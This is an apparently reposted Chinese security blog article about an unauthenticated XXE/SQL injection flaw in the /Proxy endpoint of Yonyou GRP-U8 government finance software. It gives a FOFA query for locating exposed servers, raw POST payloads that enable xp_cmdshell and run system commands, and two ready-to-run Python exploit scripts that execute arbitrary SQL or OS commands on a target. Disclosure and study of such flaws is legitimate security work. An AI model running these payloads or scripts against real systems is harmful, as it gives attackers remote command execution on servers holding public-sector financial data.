用友 GRP-U8 Proxy XXE-SQL注入漏洞

这篇具有很好参考价值的文章主要介绍了用友 GRP-U8 Proxy XXE-SQL注入漏洞。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。


声明

本篇文章仅限技术学习与安全研究,切勿将文中所涉及的攻击手段用于非授权下渗透行为,造成任何后果与本文和作者无关。


一、漏洞详情

用友GRP-U8R10行政事业财务管理软件是用友公司专注于国家电子政务事业,基于云计算技术所推出的新一代产品,是我国行政事业财务领域最专业的政府财务管理软件。
用友 GRP-U8 Proxy XXE-SQL注入漏洞

二、漏洞描述

该漏洞源于应用程序解析XML输入时没有禁止外部实体的加载,导致可加载恶意外部文件。最终产生两种后果,一是可以进行SQL注入,执行SQL语句;二是导致命令执行,当用户可以控制命令执行函数中的参数时,将可注入恶意系统命令到正常命令中,造成命令执行攻击。

用友 GRP-U8 Proxy 接口存在 SQL 注入漏洞,攻击者通过漏洞可以获取服务器权限。


FOFA:title=“GRP-U8” 或 title=“用友 GRP-U8 行政事业内控管理软件”


三、利用条件

无需登录

四、漏洞POC

POST /Proxy HTTP/1.1
Accept: *
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64)
Host: {{Hostname}}
Content-type: application/x-www-form-urlencoded
Content-Length: 349
Connection: close

//查询数据库版本(MSSQL),并回显
	cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><R9PACKET version="1"><
	DATAFORMAT>XML</DATAFORMAT><R9FUNCTION> <NAME>AS_DataRequest</NAME><PARAMS><P
	ARAM> <NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA>
	</PARAM><PARAM> <NAME>Data</NAME><DATA format="text">select @@version</DATA><
	/PARAM></PARAMS> </R9FUNCTION></R9PACKET>

//查询当前数据库名称
	cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><R9PACKET version="1"><
	DATAFORMAT>XML</DATAFORMAT><R9FUNCTION> <NAME>AS_DataRequest</NAME><PARAMS><P
	ARAM> <NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA>
	</PARAM><PARAM> <NAME>Data</NAME><DATA format="text">select db_name()</DATA><
	/PARAM></PARAMS> </R9FUNCTION></R9PACKET>

以POST方式发送如下几个Payload,开启 xp_cmdshell 操作,查询到当前数据库名称后,第一个包需要修改当前库名

cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><R9PACKET version="1"><
DATAFORMAT>XML</DATAFORMAT><R9FUNCTION><NAME>AS_DataRequest</NAME><PARAMS><PA
RAM><NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA></
PARAM><PARAM><NAME>Data</NAME><DATA format="text">use master</DATA></PARAM></
PARAMS></R9FUNCTION></R9PACKET>

cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><R9PACKET version="1"><
DATAFORMAT>XML</DATAFORMAT><R9FUNCTION><NAME>AS_DataRequest</NAME><PARAMS><PA
RAM><NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA></
PARAM><PARAM><NAME>Data</NAME><DATA format="text">exec sp_configure 'show adv
anced options',1</DATA></PARAM></PARAMS></R9FUNCTION></R9PACKET>

cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><R9PACKET version="1"><
DATAFORMAT>XML</DATAFORMAT><R9FUNCTION><NAME>AS_DataRequest</NAME><PARAMS><PA
RAM><NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA></
PARAM><PARAM><NAME>Data</NAME><DATA format="text">reconfigure</DATA></PARAM><
/PARAMS></R9FUNCTION></R9PACKET>

cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><R9PACKET version="1"><
DATAFORMAT>XML</DATAFORMAT><R9FUNCTION><NAME>AS_DataRequest</NAME><PARAMS><PA
RAM><NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA></
PARAM><PARAM><NAME>Data</NAME><DATA format="text">exec sp_configure 'xp_cmdsh
ell',1</DATA></PARAM></PARAMS></R9FUNCTION></R9PACKET>

cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><R9PACKET version="1"><
DATAFORMAT>XML</DATAFORMAT><R9FUNCTION><NAME>AS_DataRequest</NAME><PARAMS><PA
RAM><NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA></
PARAM><PARAM><NAME>Data</NAME><DATA format="text">reconfigure</DATA></PARAM><
/PARAMS></R9FUNCTION></R9PACKET>


//执行dir命令
cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><R9PACKET version="1"><
DATAFORMAT>XML</DATAFORMAT><R9FUNCTION><NAME>AS_DataRequest</NAME><PARAMS><PA
RAM><NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA></
PARAM><PARAM><NAME>Data</NAME><DATA format="text">exec xp_cmdshell "dir"</DAT
A></PARAM></PARAMS></R9FUNCTION></R9PACKET>

上面几个POC大概意思就是开启xp_cmdshell指令并刷新配置

USE master
EXEC sp_configure ‘show advanced options’,1 //启用xp_cmdshell的高级配置 RECONFIGURE --刷新配置
RECONFIGURE //先执行一次刷新,处理上次的配置
EXEC sp_configure ‘xp_cmdshell’,1 //打开xp_cmdshell,可以调用SQL系统 之外的命令
RECONFIGURE //刷新配置

五、利用脚本

GRP-U8_SQLinjection_POC

#!/usr/bin/env python2
#coding:utf-8
import re
import requests
import sys
reload(sys)
sys.setdefaultencoding('utf-8')
if len(sys.argv) != 3:
    print "Usage: python poc.py url sql"
    sys.exit(1)
url = sys.argv[1]
sql = sys.argv[2]
headers = {
	"User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36",
	"Content-Type":"application/x-www-form-urlencoded",
}
def poc(url,sql):
	url = url + '/Proxy'
	print url
	data = 'cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><R9PACKET version="1"><DATAFORMAT>XML</DATAFORMAT><R9FUNCTION><NAME>AS_DataRequest</NAME><PARAMS><PARAM><NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA></PARAM><PARAM><NAME>Data</NAME><DATA format="text">'+sql+'</DATA></PARAM></PARAMS></R9FUNCTION></R9PACKET>'
	res = requests.post(url,headers=headers,data=data)
	res = res.text
	result_row = r'<ROW COLUMN1="(.*?)"'
	ROW = re.findall(result_row,res,re.S | re.M)
	print '查询成功!'
	print ROW[0]
if __name__ == "__main__":
    poc(sys.argv[1],sys.argv[2])

GRP-U8_SQLinjection_EXP

#!/usr/bin/env python2
#coding:utf-8
import re
import requests
import sys
reload(sys)
sys.setdefaultencoding('utf-8')
if len(sys.argv) != 3:
    print "Usage: python exp.py url cmd"
    sys.exit(1)
url = sys.argv[1]
cmd = sys.argv[2]
headers = {
	"User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36",
	"Content-Type":"application/x-www-form-urlencoded",
}
def exp(url,cmd):
	url = url+ '/Proxy'
	print url
	data = 'cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><R9PACKET version="1"><DATAFORMAT>XML</DATAFORMAT><R9FUNCTION><NAME>AS_DataRequest</NAME><PARAMS><PARAM><NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA></PARAM><PARAM><NAME>Data</NAME><DATA format="text">exec xp_cmdshell \''+cmd+'\'</DATA></PARAM></PARAMS></R9FUNCTION></R9PACKET>'
	res = requests.post(url,headers=headers,data=data)
	res = res.text
	result_row = r'<ROW output="(.*?)" />'
	ROW = re.findall(result_row,res,re.S | re.M)
	print '命令执行成功!'
	for i in range(len(ROW)):
		print ROW[i]
if __name__ == "__main__":
    exp(sys.argv[1],sys.argv[2])

六、漏洞代码分析

可参考文章:https://baijiahao.baidu.com/s?id=1681131145841849209&wfr=spider&for=pc文章来源地址https://www.toymoban.com/news/detail-404991.html

到了这里,关于用友 GRP-U8 Proxy XXE-SQL注入漏洞的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 【1day】用友时空KSOA平台 dept.jsp接口SQL注入漏洞学习

    注:该文章来自作者日常学习笔记,请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与作者无关。 目录

    2024年02月07日
    浏览(29)
  • XXE-XML实体注入漏洞

    目录 1.xml基础 1.1什么是xml 1.2xml文档结构 1.3  什么是DTD 1.4 什么是实体 1.5 什么是外部实体 2.xxe漏洞 2.1xxe漏洞基本介绍 2.2xxe漏洞的危害 经典漏洞案例分析 3.xxe漏洞挖掘和利用 3.1. 识别潜在的XML入口 3.2. 检查XML处理逻辑 3.3. 构造试探Payload 常见的一般payload  xxe盲注 xxe报错注入

    2024年03月14日
    浏览(67)
  • Web攻防--Java_SQL注入--XXE注入-- SSTI模板注入--SPEL表达式注入

    编译器在编译sql语句时,会依次进行词法分析、语法分析、语义分析等操作, 预编译技术会让数据库跳过编译阶段,也就无法就进行词法分析,不会被拆开,注入语句也就不会被识别为SQL的,从而防止恶意注入语句改变原有SQL语句本身逻辑。 在使用JDBC进行数据

    2024年02月09日
    浏览(53)
  • SQL注入(1)--判断是否存在SQL注入漏洞

    不论是学习后端开发/数据库/网络安全,SQL注入安全隐患反复被提起 到底什么是SQL? 维基百科的定义: (1)什么是SQL? SQL是用来操控数据库的语言 (2)举一个例子,现在我们要查询电影“长津湖”的票房数据: 先想象一下开发人员是如何书写代码从数据库中拿到数据的:

    2024年02月05日
    浏览(33)
  • SQL注入之WHERE 子句中的 SQL 注入漏洞

    ● 实验室要求 此实验室在产品类别筛选器中包含 SQL 注入漏洞。当用户选择类别时,应用程序将执行如下所示的 SQL 查询: 若要解决实验室问题,请执行 SQL 注入攻击,使应用程序显示任何类别(已发布和未发布)中所有产品的详细信息。 ● 必要知识点 一个没有安全概念的

    2024年02月14日
    浏览(36)
  • 【SQL注入漏洞-06】HTTP头部注入靶场实战

    常见的sql注入一般是 通过请求参数或者表单进行注入 ,HTTP头部注入是 通过HTTP协议头部字段值进行注入 。 产生HTTP头部注入的条件: 能够对请求头消息进行修改 修改的请求头信息能够带入数据库进行查询 数据库没有对输入的请求信息做过滤 User-Agent :是Http协议中的一部分

    2024年02月02日
    浏览(46)
  • SQL注入漏洞详解

            结构化查询语言(Structured Query Language,简称SQL)是一种特殊目的的编程语言,是一种数据库查询和程序设计语言,用于存取数据以及查询、更新和管理关系型数据库。SQL注入漏洞主要形成的原因是Web应用程序对用户的输入没有做严格的判断,导致用户可用将非法的

    2023年04月20日
    浏览(28)
  • 漏洞原理 SQL 注入

    OWASP漏洞原理启航(第一课)-CSDN博客 OWASP漏洞原理<最基础的数据库 第二课>-CSDN博客 小皮面板(phpstudy

    2024年02月20日
    浏览(33)
  • SQL 注入漏洞攻击

    假设你用自己的用户名和密码登录了一个付费网站,网站服务器就会查询一下你是不是 VIP 用户,而用户数据都是放在数据库中的,服务器通常都会向数据库进行查询,要向数据库进行增删改查操作,就需要用到 SQL 语言。 但是,作为 SQL 的注入攻击者,我们并不知道网站的密

    2024年02月09日
    浏览(40)
  • Web通用漏洞--sql注入

    mysql注入目的:获取当前web权限 MYSQL--Web组成架构 服务器搭建web服务可能存在多个站点搭建在一台服务器中,数据集中存储在数据库中,因此对数据库的管理也可以分为两种架构: 统一用户管理数据库,即对所有站点数据库的管理均为Root权限用户管理 一对一用户管理数据库

    2024年02月11日
    浏览(31)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包